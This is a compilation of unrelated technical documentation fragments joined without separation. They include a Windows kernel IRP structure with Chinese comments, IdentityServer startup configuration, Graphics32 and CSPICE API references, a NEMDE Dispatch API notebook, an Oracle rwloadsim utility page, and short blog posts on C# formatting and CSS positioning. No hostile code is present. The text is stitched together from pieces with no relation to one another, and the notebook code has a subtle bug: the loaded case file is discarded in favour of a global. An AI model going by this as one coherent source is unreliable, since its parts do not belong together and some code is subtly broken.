发布时间：2014-5-9 19:11
分类名称：Driver
typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _IRP {
CSHORT Type; // 一般为IO_TYPE_IRP（0x00000006）
USHORT Size; // IRP + 和其对应的I/0堆栈的总大小，分配IRP的时候，它们就是一起在堆上分配的空间，所以IRP下面就是I/O堆栈
//
// Define the common fields used to control the IRP.
//
//
// Define a pointer to the Memory Descriptor List (MDL) for this I/O
// request. This field is only used if the I/O is "direct I/O".
//
PMDL MdlAddress;
//
// Flags word - used to remember various flags.
//
ULONG Flags;
//
// The following union is used for one of three purposes:
//
// 1. This IRP is an associated IRP. The field is a pointer to a master
// IRP.
//
// 2. This is the master IRP. The field is the count of the number of
// IRPs which must complete (associated IRPs) before the master can
// complete.
//
// 3. This operation is being buffered and the field is the address of
// the system space buffer.
//
union {
struct _IRP *MasterIrp;
__volatile LONG IrpCount;
PVOID SystemBuffer;
} AssociatedIrp;
//
// Thread list entry - allows queueing the IRP to the thread pending I/O
// request packet list.
//
LIST_ENTRY ThreadListEntry;
//
// I/O status - final status of operation.
//
IO_STATUS_BLOCK IoStatus;
//
// Requestor mode - mode of the original requestor of this operation.
//
KPROCESSOR_MODE RequestorMode;
//
// Pending returned - TRUE if pending was initially returned as the
// status for this packet.
//
// 在IoComplateRequest函数中，有一句：Irp->PendingReturned = stackPointer->Control & SL_PENDING_RETURNED;
// 在回弹完成函数时，如果stackPointer->Control（IoMarkIrpPending可设置)有SL_PENDING_RETURNED，会将其保存到Irp->PendingReturned
// 在完成函数中判断Irp->PendingReturned，继续调用IoMarkIrpPending，向上传递。
BOOLEAN PendingReturned;
//
// Stack state information.
//
CHAR StackCount; // 和 Device->StackSize 大小一样
CHAR CurrentLocation; // 当前Location，初始值为StackCount大小加1，用来和StackCount+1对比，是否到达最上层
//
// Cancel - packet has been canceled.
//
// 当IRP被取消时，会被设置为FALSE。如在，IoCancelIrp中被设置为TRUE。
BOOLEAN Cancel;
//
// Cancel Irql - Irql at which the cancel spinlock was acquired.
//
// IoAcquireCancelSpinLock得到锁后的IRQL
KIRQL CancelIrql;
//
// ApcEnvironment - Used to save the APC environment at the time that the
// packet was initialized.
//
CCHAR ApcEnvironment;
//
// Allocation control flags.
//
UCHAR AllocationFlags;
//
// User parameters.
//
PIO_STATUS_BLOCK UserIosb;
PKEVENT UserEvent; // 保存用户层传递的Evnet（如ReadFile异步调用时）
union {
struct {
union {
PIO_APC_ROUTINE UserApcRoutine; // 用户层传递的，APC 异步调用函数
PVOID IssuingProcess;
};
PVOID UserApcContext; // APC 参数
} AsynchronousParameters; // APC异步调用参数
LARGE_INTEGER AllocationSize;
} Overlay; //通过名字可以和用户层对应起来，都是Overlay。
//
// CancelRoutine - Used to contain the address of a cancel routine supplied
// by a device driver when the IRP is in a cancelable state.
//
// IRP取消的时候会被调用
__volatile PDRIVER_CANCEL CancelRoutine;
//
// Note that the UserBuffer parameter is outside of the stack so that I/O
// completion can copy data back into the user's address space without
// having to know exactly which service was being invoked. The length
// of the copy is stored in the second half of the I/O status block. If
// the UserBuffer field is NULL, then no copy is performed.
//
PVOID UserBuffer;
//
// Kernel structures
//
// The following section contains kernel structures which the IRP needs
// in order to place various work information in kernel controller system
// queues. Because the size and alignment cannot be controlled, they are
// placed here at the end so they just hang off and do not affect the
// alignment of other fields in the IRP.
//
union {
struct {
union {
//
// DeviceQueueEntry - The device queue entry field is used to
// queue the IRP to the device driver device queue.
//
// KeInsertDeviceQueue( &DeviceObject->DeviceQueue, &Irp->Tail.Overlay.DeviceQueueEntry );
// 将IRP和DeviceObject连接起来，使用在StartIO串行方式中。
KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
struct {
//
// The following are available to the driver to use in
// whatever manner is desired, while the driver owns the
// packet.
//
PVOID DriverContext[4];
} ;
} ;
//
// Thread - pointer to caller's Thread Control Block.
//
// PsGetCurrentThread
PETHREAD Thread;
//
// Auxiliary buffer - pointer to any auxiliary buffer that is
// required to pass information to a driver that is not contained
// in a normal buffer.
//
PCHAR AuxiliaryBuffer;
//
// The following unnamed structure must be exactly identical
// to the unnamed structure used in the minipacket header used
// for completion queue entries.
//
struct {
//
// List entry - used to queue the packet to completion queue, among
// others.
//
LIST_ENTRY ListEntry;
union {
//
// Current stack location - contains a pointer to the current
// IO_STACK_LOCATION structure in the IRP stack. This field
// should never be directly accessed by drivers. They should
// use the standard functions.
//
struct _IO_STACK_LOCATION *CurrentStackLocation;
//
// Minipacket type.
//
ULONG PacketType;
};
};
//
// Original file object - pointer to the original file object
// that was used to open the file. This field is owned by the
// I/O system and should not be used by any other drivers.
//
PFILE_OBJECT OriginalFileObject;
} Overlay;
//
// APC - This APC control block is used for the special kernel APC as
// well as for the caller's APC, if one was specified in the original
// argument list. If so, then the APC is reused for the normal APC for
// whatever mode the caller was in and the "special" routine that is
// invoked before the APC gets control simply deallocates the IRP.
//
KAPC Apc;
//
// CompletionKey - This is the key that is used to distinguish
// individual I/O operations initiated on a single file handle.
//
PVOID CompletionKey;
} Tail;
} IRP;


{{ if .Site.Params.archived_version }} {{ $color := "primary" }} {{ $latest_version := .Site.Params.url_latest_version }} {{ $current_version := .Site.Params.version }}
Version {{ . | markdownify }} of the documentation is no longer actively maintained. The site that you are currently viewing is an archived snapshot. {{ with $latest_version }}For up-to-date documentation, see the latest version.
{{ end }} {{ end }}


Startup¶
IdentityServer is a combination of middleware and services. All configuration is done in your startup class.
Configuring services¶
You add the IdentityServer services to the DI system by calling:
public void ConfigureServices(IServiceCollection services)
{
var builder = services.AddIdentityServer();
}
Optionally you can pass in options into this call. See here for details on options.
This will return you a builder object that in turn has a number of convenience methods to wire up additional services.
Key material¶
AddSigningCredential
- Adds a signing key service that provides the specified key material to the various token creation/validation services.
You can pass in either an
X509Certificate2
, aSigningCredential
or a reference to a certificate from the certificate store.
AddDeveloperSigningCredential
- Creates temporary key material at startup time. This is for dev only scenarios when you don’t have a certificate to use.
The generated key will be persisted to the file system so it stays stable between server restarts (can be disabled by passing
false
). This addresses issues when the client/api metadata caches get out of sync during development.
AddValidationKey
- Adds a key for validating tokens. They will be used by the internal token validator and will show up in the discovery document.
You can pass in either an
X509Certificate2
, aSigningCredential
or a reference to a certificate from the certificate store. This is useful for key roll-over scenarios.
In-Memory configuration stores¶
The various “in-memory” configuration APIs allow for configuring IdentityServer from an in-memory list of configuration objects. These “in-memory” collections can be hard-coded in the hosting application, or could be loaded dynamically from a configuration file or a database. By design, though, these collections are only created when the hosting application is starting up.
Use of these configuration APIs are designed for use when prototyping, developing, and/or testing where it is not necessary to dynamically consult database at runtime for the configuration data. This style of configuration might also be appropriate for production scenarios if the configuration rarely changes, or it is not inconvenient to require restarting the application if the value must be changed.
AddInMemoryClients
- Registers
IClientStore
andICorsPolicyService
implementations based on the in-memory collection ofClient
configuration objects.
AddInMemoryIdentityResources
- Registers
IResourceStore
implementation based on the in-memory collection ofIdentityResource
configuration objects.
AddInMemoryApiResources
- Registers
IResourceStore
implementation based on the in-memory collection ofApiResource
configuration objects.
Test stores¶
The TestUser
class models a user, their credentials, and claims in IdentityServer.
Use of TestUser
is simiar to the use of the “in-memory” stores in that it is intended for when prototyping, developing, and/or testing.
The use of TestUser
is not recommended in production.
AddTestUsers
- Registers
TestUserStore
based on a collection ofTestUser
objects.TestUserStore
is used by the default quickstart UI. Also registers implementations ofIProfileService
andIResourceOwnerPasswordValidator
.
Additional services¶
AddExtensionGrantValidator
- Adds
IExtensionGrantValidator
implementation for use with extension grants.
AddSecretParser
- Adds
ISecretParser
implementation for parsing client or API resource credentials.
AddSecretValidator
- Adds
ISecretValidator
implementation for validating client or API resource credentials against a credential store.
AddResourceOwnerValidator
- Adds
IResourceOwnerPasswordValidator
implementation for validating user credentials for the resource owner password credentials grant type.
AddProfileService
- Adds
IProfileService
implementation for connecting to your custom user profile store. TheDefaultProfileService
class provides the default implementation which relies upon the authentication cookie as the only source of claims for issuing in tokens.
AddAuthorizeInteractionResponseGenerator
- Adds
IAuthorizeInteractionResponseGenerator
implementation to customize logic at authorization endpoint for when a user must be shown a UI for error, login, consent, or any other custom page. TheAuthorizeInteractionResponseGenerator
class provides a default implementation, so consider deriving from this existing class if you need to augment the existing behavior.
AddCustomAuthorizeRequestValidator
- Adds
ICustomAuthorizeRequestValidator
implementation to customize request parameter validation at the authorization endpoint.
AddCustomTokenRequestValidator
- Adds
ICustomTokenRequestValidator
implementation to customize request parameter validation at the token endpoint.
AddRedirectUriValidator
- Adds
IRedirectUriValidator
implementation to customize redirect URI validation.
AddAppAuthRedirectUriValidator
- Adds a an “AppAuth” (OAuth 2.0 for Native Apps) compliant redirect URI validator (does strict validation but also allows http://<IP_ADDRESS> with random port).
AddJwtBearerClientAuthentication
- Adds support for client authentication using JWT bearer assertions.
Caching¶
Client and resource configuration data is used frequently by IdentityServer. If this data is being loaded from a database or other external store, then it might be expensive to frequently re-load the same data.
AddInMemoryCaching
- To use any of the caches described below, an implementation of
ICache<T>
must be registered in DI. This API registers a default in-memory implementation ofICache<T>
that’s based on ASP.NET Core’sMemoryCache
.
AddClientStoreCache
- Registers a
IClientStore
decorator implementation which will maintain an in-memory cache ofClient
configuration objects. The cache duration is configurable on theCaching
configuration options on theIdentityServerOptions
.
AddResourceStoreCache
- Registers a
IResourceStore
decorator implementation which will maintain an in-memory cache ofIdentityResource
andApiResource
configuration objects. The cache duration is configurable on theCaching
configuration options on theIdentityServerOptions
.
AddCorsPolicyCache
- Registers a
ICorsPolicyService
decorator implementation which will maintain an in-memory cache of the results of the CORS policy service evaluation. The cache duration is configurable on theCaching
configuration options on theIdentityServerOptions
.
Further customization of the cache is possible:
The default caching relies upon the ICache<T>
implementation.
If you wish to customize the caching behavior for the specific configuration objects, you can replace this implementation in the dependency injection system.
The default implementation of the ICache<T>
itself relies upon the IMemoryCache
interface (and MemoryCache
implementation) provided by .NET.
If you wish to customize the in-memory caching behavior, you can replace the IMemoryCache
implementation in the dependency injection system.
Configuring the pipeline¶
You need to add IdentityServer to the pipeline by calling:
public void Configure(IApplicationBuilder app)
{
app.UseIdentityServer();
}
Note
UseIdentityServer
includes a call to UseAuthentication
, so it’s not necessary to have both.
There is no additional configuration for the middleware.
Be aware that order matters in the pipeline. For example, you will want to add IdentitySever before the UI framework that implements the login screen.


procedure WriteTo(Dest: TBitmap32;
Conversion: TConversionType);
overload;
procedure WriteTo(Dest: TBitmap32;
const Palette: TPalette32);
overload;
WriteTo fills the Dest bitmap using the values stored in the byte map.
If it is necessary, the destination bitmap is resized to fit the byte map dimensions.
The following table shows how 8-bit data is transformed into 32-bit RGBA color depending on Conversion parameter.
| Conversion | Action |
|---|---|
| ctRed | Copies bytes into red channel |
| ctGreen | Copies bytes into green channel |
| ctBlue | Copies bytes into blue channel |
| ctAlpha | Copies bytes into alpha channel |
| ctUniformRGB | Copies the same byte value into red, green and blue channels. |
| ctWeightedRGB |
WriteTo method does not distinguish between ctUniformRGB and ctWeightedRGB conversion types.
Note, that this method alters only the specified color channels, other channels remain intact.
The second overloaded version with Palette parameter uses TPalette32 array to map byte values into RGBA colors.


C# Standard Style - single source of formatting truth
Months ago Andrew Orsich told me about this great tool called javascript standard style.
Absolutely amazing.
What it does is just formats code with one pre-configured, non-changeable, non-customizeable, non-arguable style. You either use it or not.
After that, all discussions about curly braces, tabs and spaces go to void. Done.
I’d like to have this for C#.
We all had enough of discussions whether use tabs or spaces (it’s still happens), where to put braces, how do we name methods and variables. I feel this is especially important now, when .NET is opensource, when C# is being used for iOS and Android development, when many of C# developers are working on Mac and Linux.
Frankly, we are all already using Microsoft C# Coding Conventions in some way. It’s just these slight modifications that make us spend time on formatting and arguing about these changes or undoing them.
I want my team and everyone developing in C# focus on functionality and forget about formatting forever.
Let’s make it happen.
There should be something for this, right?
Tools already exist, however…
One can use Visual Studio settings and configure C# formatting. Then do the same with Xamarin Studio.(strictly speaking, having XS format C# code exactly same way as VS is not possible). And what about VS Code?
There is an .editorconfig support for Visual Studio but it’s covering just part of formatting questions.
ReSharper is another candidate, however, it doesn’t work with Xamarin Studio and you can customize rules.
Oren kindly pointed there is a dotnet/CodeFormatter project and Roslyn and .NET Core teams use styles enforced by the tool.
Good old StyleCop/FxCop might be suitable as well, but again, you can and have to customize it.
Unfortunately, all available tools are customizable. As long as you use them, there will be always someone who will do something his way. Again, I want to have this binary and simple choice. Use it or don’t use it.
Should we build another tool?
Actually, CodeFormatter is a good candidate for becoming a single source of truth. It has default rules baked in, it runs on Windows and Mono and it’s built with Roslyn and people are already using it. Here is a list of rules CodeFormatter enforces.
I feel like we just need to extend it and build VS extension, Xamarin Add-in and VS Code extension to make experience seamless.
It’s just your crazy idea
According to the post from Roslyn team, I’m not alone
Automatic code formatter released to GitHub
We strongly believe that having a consistent style greatly increases the readability and maintainability of a code base. The individual style decisions themselves are subjective, the key is the consistency of the decisions. As such the .NET team has a set of style guidelines for all C# code written by the team.
I have another idea/opinion
I would love to hear your feedback and thoughs on this idea. Feel free to contact me or comment this article and please share it with your team and friends.
Q&A
I do not want to re-format my solution.
You don’t need to re-format existing codebase unless you want. When you start your next project, this is the best time to start using C# Standard Format.
Why we should enforce style A and not enforce style B.
Discussing specific style settings is not the goal of this post.
I will not use this C# standard formatting.
Fine, it’s “use it or don’t”. Nothing will change for people that don’t want to use a non-customizeable set of rules. A lot of free time will come to those that want to use it.
If you liked this post, you can share it with your followers or follow me on Twitter!


class MarkovChain:
Finds probabilities for transitions Usage:
>>> mc = MarkovChain() >>> for category in [1, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3]: >>> mc.add_observation(category) >>> print(mc.get_stats(depth=1))
Will show that 2->3 100%, 3->1 100%, 1->1 80%, 1->2 20%
| Method | __init__ |
Undocumented |
| Instance Variable | observations |
Undocumented |
| Method | add_observation |
Undocumented |
| Method | extend_observations |
Undocumented |
| Method | get_entries |
Undocumented |
| Method | set_mask |
Mask selects observations, but does not change their stats |
| Method | get_stats |
Undocumented |
| Instance Variable | _mask |
Undocumented |
Undocumented
| Parameters | observations | Undocumented (type: List ) |


Maihama Migueldora
(LastaFlute Example)
Products
Members
Withdrawal
Welcome,
Mr.Guest
Profile
Sign out
My Page
ProductName
RegularPrice
Silver Flute
500000


Free your software.
The BGSU Linux Club is a student organization dedicated to exploring open technologies as a way to advance the public good, primarily by hosting educational events for our members, as well as by assisting student organizations with similar goals. We also engage in outreach, both on campus and in the local community.


Scenario analysis - creating a line plot
The ability to examine relationships between system parameters and system variables is a powerful capability offered by the Dispatch API. This notebook outlines a workflow that can be used to perform ex-post scenario analyses using historical case file data. While the following sections examine how changes to demand forecasts would likely influences prices in a given region, the same principles can be applied to examine other relationships.
Imports and authentication
import os
import json
import requests
import xmltodict
import matplotlib.pyplot as plt
from jsonpath_ng import jsonpath
from jsonpath_ng.ext import parse
# Base URL endpoint for the Dispatch API
base_url = 'http://nemde-api-host:8080/api/v1/'
Load case file
We need some data to work with, so let's proceed by downloading a case file.
def convert_casefile(path_to_file):
"""Load a historical NEMDE case file and convert it to a dict"""
# Read case file contents
with open(path_to_file, 'r') as f:
casefile = f.read()
# Force these nodes to always return lists
force_list = ('Trade', 'TradeTypePriceStructure',)
return xmltodict.parse(casefile, force_list=force_list)
def load_casefile(case_id):
"""Load case file"""
# Load case file and convert to JSON
casefile = convert_casefile(f'../../data/NEMSPDOutputs_{case_id}00.loaded')
return casefile
# Load case file
case_id = '20210401001'
casefile = load_casefile(case_id=case_id)
Approach
It is always a good idea to separate data from logic. Let's treat the case file that we saved to disk as our canonical 'source of truth', with this 'base' case file loaded before performing each update. As this case file will never be overwritten we can be sure we're using the same data before making updates, thus reducing the possibilty of introducing unintended changes.
The following function reads the base case file from disk then updates the Demand Forecast (@DF
) parameter for South Australia. This allows us to investigate how prices respond to changes in anticipated demand.
def update_region_demand_forecast(case_id, region_id, value):
"""Load case file and update demand forecast for a given region"""
# Load case file
load_casefile(case_id=case_id)
# Construct expression
expression = (f"NEMSPDCaseFile \
.NemSpdInputs \
.PeriodCollection \
.Period \
.RegionPeriodCollection \
.RegionPeriod[?(@RegionID=='{region_id}')] \
.@DF")
# Construct JSON path expression
jsonpath_expr = parse(expression)
# Update value
_ = jsonpath_expr.update(casefile, value)
return casefile
Jobs are submitted to the online queue, with each job having a different @DF
value. Job IDs will be used to map @DF
parameters to results once they are available.
def submit_jobs(base_url, region_id, values):
"""Submit jobs to online queue"""
jobs = []
for i in values:
# Construct request body - using augmented casefiles
body = {"casefile": update_region_demand_forecast(case_id='20210401001', region_id=region_id, value=i)}
# Submit request and extract job ID
url = base_url + 'jobs/create'
response = requests.post(url=url, json=body)
job_info = response.json()
# Construct a map between the job ID, job info and the value of the parameter used in the analysis
jobs.append({'job_info': job_info, 'demand_forecast': i})
return jobs
# Demand forecast parameters
values = [-50, -40, -30, -20, -10, 0, 10, 20, 30, 40, 50]
jobs = submit_jobs(base_url=base_url, region_id='SA1', values=values)
We can check the status of all our jobs by using the following endpoint:
http://nemde-api-host/api/v1/jobs/status/list
def get_status(base_url):
"""Get status of all jobs"""
url = base_url + 'jobs/status/list'
response = requests.get(url=url)
status = response.json()
return status
# Get job status list
status = get_status(base_url=base_url)
# Only printing the first three jobs (to save space)
status[:3]
[{'job_id': '774da812-739b-4dad-aeae-b3211d011863',
'status': 'finished',
'created_at': '2021-08-07T14:03:45.044224Z',
'enqueued_at': '2021-08-07T14:03:45.221426Z',
'started_at': '2021-08-07T14:05:55.521917Z',
'ended_at': '2021-08-07T14:06:46.836269Z',
'timeout': '180',
'label': None},
{'job_id': '77ce2242-2fc7-47d2-abfe-b314e27e275a',
'status': 'finished',
'created_at': '2021-08-07T14:03:42.545729Z',
'enqueued_at': '2021-08-07T14:03:42.707600Z',
'started_at': '2021-08-07T14:05:54.574736Z',
'ended_at': '2021-08-07T14:06:48.632590Z',
'timeout': '180',
'label': None},
{'job_id': 'e8a0778f-efc8-41d9-93f5-ba14050e3fb6',
'status': 'finished',
'created_at': '2021-08-07T14:03:40.214655Z',
'enqueued_at': '2021-08-07T14:03:40.394830Z',
'started_at': '2021-08-07T14:05:08.473547Z',
'ended_at': '2021-08-07T14:05:59.321272Z',
'timeout': '180',
'label': None}]
Retrieve results
Once the jobs have finished their results can be retrieved from the queue.
def get_job_results(base_url, job_ids):
"""Get job results"""
results = []
for job_id in job_ids:
# Construct URL used to obtain results
url = base_url + f'jobs/{job_id}/results'
print("Job results URL:", url)
# Submit request and retrieve job results
response = requests.get(url=url)
results.append(response.json())
return results
# Get all job IDs for which results should be returned
job_ids = [i.get('job_info').get('job_id') for i in jobs]
# Retrieve job results from queue
job_results = get_job_results(base_url=base_url, job_ids=job_ids)
Job results URL: http://nemde-api-host:8080/api/v1/jobs/666977c2-8a78-4638-8918-2025ee351ec4/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/a912dc3c-0442-4124-8748-e6297b4fdcfb/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/cb2d578b-ba38-4476-8a1c-149eae2d0adc/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/24ba0574-00c2-4ebd-8a27-499a51c32abc/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/7130a5e6-b42a-4919-8649-fcc015e15105/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/367d793c-4eb3-43eb-8194-23aadea70c6a/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/09c6be74-f033-4661-a53f-af2d8c1d0094/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/9cea60f0-e9b2-4dc2-84fb-03c917a00bcc/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/e8a0778f-efc8-41d9-93f5-ba14050e3fb6/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/77ce2242-2fc7-47d2-abfe-b314e27e275a/results
Job results URL: http://nemde-api-host:8080/api/v1/jobs/774da812-739b-4dad-aeae-b3211d011863/results
The following function searches a results dictionary for the energy price corresponding to a given region. This will allow us to examine how the energy price changes as the @DF
parameter is augmented.
def get_region_energy_price(results, region_id):
"""Extract energy price from results dictionary"""
expression = (f"results \
.output \
.RegionSolution[?(@RegionID='{region_id}')] \
.@EnergyPrice")
jsonpath_expr = parse(expression)
values = [match.value for match in jsonpath_expr.find(results)]
# Only one value should be returned
if len(values) != 1:
msg = f"Should only return 1 value, encountered: {len(values)} {region_id}"
raise Exception(msg)
return values[0]
Job IDs are used to map Demand Forecast parameters to price outcomes.
def map_parameters_to_prices(jobs, results, region_id):
"""Map demand forecast parameters to energy prices"""
# Key = job_id, value = Demand Forecast parameter
demand_forecast = {job.get('job_info').get('job_id'): job.get('demand_forecast')
for job in jobs}
# Energy prices indexed by job ID
prices = {result.get('job_id'): get_region_energy_price(results=result, region_id=region_id)
for result in results}
# Combine into list of tuples [(demand_forecast, price), ...]
values = [(demand_forecast.get(job_id), prices.get(job_id))
for job_id in prices.keys()]
return sorted(values, key=lambda x: x[0])
# Price results
price_results = map_parameters_to_prices(jobs=jobs, results=job_results, region_id='SA1')
The results can be plotted to reveal the relationship between @DF
values and energy prices in South Australia.
# Unzip for plotting
x, y = zip(*price_results)
# Plotting results
fig, ax = plt.subplots()
ax.plot(x, y,'o', alpha=0.7, color='b')
ax.plot(x, y,'-', alpha=0.7, color='r')
ax.set_title('SA energy price response to changes in Demand Forecast')
ax.set_xlabel('SA Demand Forecast (MW)')
ax.set_ylabel('SA Energy Price ($/MWh)')
plt.show()
The plot illustrates the range of @DF
values over which the energy price in South Australia is unaffected, and also the @DF
values which begin to alter prices. This type of analysis can help identify how sensitive prices are to changes in demand.
Summary
This notebook outlines a workflow that can be used to perform sensitivity analyses. Relationships between other parameters and variables can be readily investigated, making the Dispatch API a flexibile tool that can facilitate a number of different studies. For instance, one may wish to know how prices or other system variables are impacted by a contingency such as sudden reduction in interconnector power flow limits, or the tripping of a generator.
While this tutorial has used historical data to perform an ex-post sensitivity analysis, the Dispatch API can also be used with customised case files. This lends the Dispatch API to a number of forecasting applications - user supplied forecasts for case file parameters could allow sensitivies to be computed in real time.


Performing a Fourier Transform a function \(f(t)\) being defined in the time domain is transformed into a function \(F(\omega)\) in the frequency domain.
The drop down menu allows to choose from six different input functions \(f(t)\):
The upper plots show the input function \(f(t)\) and the corresponding Fourier Transform.
Additionally, a second drop down menu allows the modification of the chosen input function. The operations performed in time domain result in corresponding operations in the frequency domain, which are sometimes easier to perform. The plots of the modified function in both time and frequency domain visualize the basic theorems of the Fourier Transform.


sqlid2file.rwl − Extract sql text from gv$sql or dba_hist_sqltext
rwloadsim -u -l u/p@c sqlid2file.rwl sqlid ...
For each provided sqlid, the sqlid2file.rwl utility extracts sql text from either gv$sql or dba_hist_sqltext and writes the text to a file named with the sqlid and a suffix of .rws. The file can subsequently be used in sql declarations in rwl programs with the result that the sqlid when executing from rwloadsim is the same sqlid that was originally executed against the database. You must provide for your rwl program using the sql to provide any necessary bind variables and/or defines for queries.
-u
Compulsory option to find the sqlid2file.rwl script in the public directory.
-l u/p
-l u/p@c
Compulsory option to provide the username, password, and potentially connect string for a database connection that provides access to a login with access to gv$sql and dba_hist_sqltext. If you omit /p, rwloadsim will prompt for the password.
sqlid
For each sqlid provided, you will either get an error that the sqlid is found in neither gv$sql nor dba_hist_sqlstat or a message that the sql statement text was written to a .rws file.
rwloadsim -ul system/{password} sqlid2file.rwl 4um7hy903rzyx 1t7aypsgcxwt0 123bengsig456
RWP*Load
Simulator Release <IP_ADDRESS> Development on Mon, 01 Feb 2021
15:31:18 UTC
Connected default database to:
Oracle Database 19c Enterprise Edition Release <IP_ADDRESS>.0 -
Production
text of sqlid 4um7hy903rzyx found in gv$sql written to
4um7hy903rzyx.rws
text of sqlid 1t7aypsgcxwt0 found in dba_hist_sqltext
written to 1t7aypsgcxwt0.rws
sqlid 123bengsig456 neither found in gv$ nor in workload
repository
Copyright
© 2021 Oracle Corporation
Licensed under the Universal Permissive License v 1.0 as
shown at https://oss.oracle.com/licenses/upl


Technical Blog
Hello again!
This week I want to introduce you to the differences between positioning with stylistic elements within your html page. The positions of fixed, absolute and relative.
A fixed element is one that will not move at all on a page. That means that even if you scroll, the element will simply not move. This may be useful for displaying some very important information that you never want to leave the user’s eyes.
An absolute position is one that will stay in a given position on a page. It differs from the fixed position because in this case, the element will in fact scroll. Think of an absolute position as being tied to a certain line on a page. You may scroll away from the line, and that element will forever sit there.
Finally, a relative position is relative to other elements. This means that it will account for where it is in a page and will be placed according to that.
Thank you for reading and until next time!


CSPICE_XFMSTA transforms a state between coordinate systems.
Given:
Arguments-
input_state is a state vector in the input ('input_coord_sys')
coordinate system representing position and velocity.
[6,n] = size(input_state); double = class(input_state)
All angular measurements must be in radians.
Note: body radii values taken from the kernel
pool are used when converting to or from geodetic or
planetographic coordinates. It is the user's
responsibility to verify the distance inputs are in
the same units as the radii in the kernel pool,
typically kilometers.
input_coord_sys is the name of the coordinate system that the input
state vector ('input_state') is currently in.
[1,c1] = size(input_coord_sys)
char = class(input_coord_sys)
or
[1,1] = size(output_coord_sys)
cell = class(output_coord_sys)
'input_coord_sys' may be any of the following:
'RECTANGULAR'
'CYLINDRICAL'
'LATITUDINAL'
'SPHERICAL'
'GEODETIC'
'PLANETOGRAPHIC'
Leading spaces, trailing spaces, and letter case
are ignored. For example, ' cyLindRical ' would
be accepted.
output_coord_sys is the name of the coordinate system that the state
should be converted to. Please see the description of
'input_coord_sys' for details.
[1,c2] = size(output_coord_sys)
char = class(output_coord_sys)
or
[1,1] = size(output_coord_sys)
cell = class(output_coord_sys)
body is the name or NAIF ID of the body associated with the
planetographic or geodetic coordinate system.
[1,c3] = size(body); char = class(body)
or
[1,1] = size(body); cell = class(body)
If one of the coordinate system choices is not
geodetic or planetographic, 'body' may be an empty
string (' ').
Examples of accepted body names or IDs are:
'Earth'
'399'
Leading spaces, trailing spaces, and letter case are
ignored.
the call:
output_state = cspice_xfmsta ( input_state, input_coord_sys, ...
output_coord_sys, body )
returns:
output_state is the state vector that has been converted to the
output coordinate system ('output_coord_sys').
[6,n] = size(output_state)
double = class(output_state)
Any numerical results shown for this example may differ between
platforms as the results depend on the SPICE kernels used as input
and the machine specific arithmetic implementation.
Example(1):
Find the apparent state of Phoebe as seen by CASSINI in the
J2000 frame at three times starting at 2004 Jun 11 19:32:00.
Transform the state from rectangular to latitudinal coordinates.
For verification, transform the state back from latitudinal to
rectangular coordinates.
Use the meta-kernel shown below to load the required SPICE
kernels.
KPL/MK
File name: xfmsta_ex1.tm
This meta-kernel is intended to support operation of SPICE
example programs. The kernels shown here should not be
assumed to contain adequate or correct versions of data
required by SPICE-based user applications.
In order for an application to use this meta-kernel, the
kernels referenced here must be present in the user's
current working directory.
The names and contents of the kernels referenced
by this meta-kernel are as follows:
File name Contents
--------- --------
cpck05Mar2004.tpc Planet orientation and
radii
naif0009.tls Leapseconds
020514_SE_SAT105.bsp Satellite ephemeris for
Saturn
030201AP_SK_SM546_T45.bsp CASSINI ephemeris
981005_PLTEPH-DE405S.bsp Planetary ephemeris
\begindata
KERNELS_TO_LOAD = ( 'naif0009.tls' ,
'020514_SE_SAT105.bsp' ,
'030201AP_SK_SM546_T45.bsp' ,
'981005_PLTEPH-DE405S.bsp',
'cpck05Mar2004.tpc' )
End of meta-kernel
Example program starts here.
metakr = 'xfmsta_ex1.tm';
form = 'YYYY-MM-DD HR:MN:SC (TDB) ::TDB';
%
% Load the meta kernel.
%
cspice_furnsh ( metakr );
%
% Calculate the state at 2004 Jun 11 19:32:00 UTC.
%
times = [ '2004-JUN-11-19:32:00';
'2004-JUN-11-19:40:00';
'2004-JUN-11-19:48:00'];
et = cspice_str2et ( times );
%
% Calculate the apparent state of Phoebe as seen by
% CASSINI in the J2000 frame.
%
[state_rec, lt] = cspice_spkezr ( 'phoebe', et, 'iau_phoebe', ...
'lt+s', 'cassini' );
%
% Transform the state from rectangular to latitudinal.
% Notice that since neither the input nor output
% coordinate frames are 'geodetic' or 'planetographic',
% the input for the body name is a blank string.
%
state_lat = cspice_xfmsta ( state_rec, 'rectangular', ...
'latitudinal', ' ' );
%
% Transform the state back to rectangular from latitudinal. The
% result should be very close to 'state_rec'.
%
state_rec2 = cspice_xfmsta ( state_lat, 'latitudinal', ...
'rectangular', ' ');
%
% Report the results.
%
fprintf('\nPhoebe as seen by Cassini - rectangular\n')
for i = 1:length(et)
fprintf('Time: %s\n', cspice_timout ( et(i), form))
fprintf(' Position: %16.6f %16.6f %16.6f\n', state_rec(1:3,i))
fprintf(' Velocity: %16.6f %16.6f %16.6f\n', state_rec(4:6,i))
end
fprintf('\nPhoebe as seen by Cassini - latitudinal\n')
for i = 1:length(et)
fprintf('Time: %s\n', cspice_timout ( et(i), form))
fprintf(' Position: %16.6f %16.6f %16.6f\n', state_lat(1:3,i))
fprintf(' Velocity: %16.6f %16.6f %16.6f\n', state_lat(4:6,i))
end
fprintf('\nVerification: Phoebe as seen by Cassini - rectangular\n')
for i = 1:length(et)
fprintf('Time: %s\n', cspice_timout ( et(i), form))
fprintf(' Position: %16.6f %16.6f %16.6f\n', state_rec2(1:3,i))
fprintf(' Velocity: %16.6f %16.6f %16.6f\n', state_rec2(4:6,i))
end
%
% Unload the kernels.
%
cspice_kclear
MATLAB outputs:
Phoebe as seen by Cassini - rectangular
Time: 2004-06-11 19:33:04 (TDB)
Position: -1982.639762 -934.530471 -166.562595
Velocity: 3.970832 -3.812496 -2.371663
Time: 2004-06-11 19:41:04 (TDB)
Position: -257.857469 -2932.271650 -1304.929678
Velocity: 3.200173 -4.493939 -2.371569
Time: 2004-06-11 19:49:04 (TDB)
Position: 1075.597532 -5231.009547 -2443.280908
Velocity: 2.342482 -5.064820 -2.371563
